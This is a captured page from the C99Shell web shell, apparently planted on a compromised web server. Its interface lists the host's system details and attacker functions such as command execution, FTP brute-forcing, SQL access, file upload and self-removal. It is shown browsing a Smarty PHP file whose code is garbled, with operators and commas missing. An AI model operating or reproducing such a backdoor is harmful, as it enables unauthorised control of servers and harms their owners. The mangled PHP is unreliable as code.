!C99Shell v. 1.0 pre-release build #13!

Software: Apache/2.0.54 (Unix) mod_perl/1.99_09 Perl/v5.8.0 mod_ssl/2.0.54 OpenSSL/0.9.7l DAV/2 FrontPage/5.0.2.2635 PHP/4.4.0 mod_gzip/2.0.26.1a 

uname -a: Linux snow.he.net 4.4.276-v2-mono-1 #1 SMP Wed Jul 21 11:21:17 PDT 2021 i686 

uid=99(nobody) gid=98(nobody) groups=98(nobody) 

Safe-mode: OFF (not secure)

/home/jerryg/public_html/gallery2/lib/smarty/internals/   drwxr-xr-x
Free 318.37 GB of 458.09 GB (69.5%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     core.write_file.php (1.48 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Smarty plugin
 * @package Smarty
 * @subpackage plugins
 */

/**
 * write out a file to disk
 *
 * @param string $filename
 * @param string $contents
 * @param boolean $create_dirs
 * @return boolean
 */
function smarty_core_write_file($params, &$smarty)
{
    
$_dirname dirname($params['filename']);

    if (
$params['create_dirs']) {
        
$_params = array('dir' => $_dirname);
        require_once(
SMARTY_CORE_DIR 'core.create_dir_structure.php');
        
smarty_core_create_dir_structure($_params$smarty);
    }

    
// write to tmp file, then rename it to avoid file locking race condition
    
$_tmp_file tempnam($_dirname'wrt');

    if (!(
$fd = @fopen($_tmp_file'wb'))) {
        
$_tmp_file $_dirname DIRECTORY_SEPARATOR uniqid('wrt');
        if (!(
$fd = @fopen($_tmp_file'wb'))) {
            
$smarty->trigger_error("problem writing temporary file '$_tmp_file'");
            return 
false;
        }
    }

    
fwrite($fd$params['contents']);
    
fclose($fd);

    if (
PHP_OS == 'Windows' || !@rename($_tmp_file$params['filename'])) {
        
// On platforms and filesystems that cannot overwrite with rename() 
        // delete the file before renaming it -- because windows always suffers
        // this, it is short-circuited to avoid the initial rename() attempt
        
@unlink($params['filename']);
        @
rename($_tmp_file$params['filename']);
    }
    @
chmod($params['filename'], $smarty->_file_perms);

    return 
true;
}

/* vim: set expandtab: */

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0264 ]--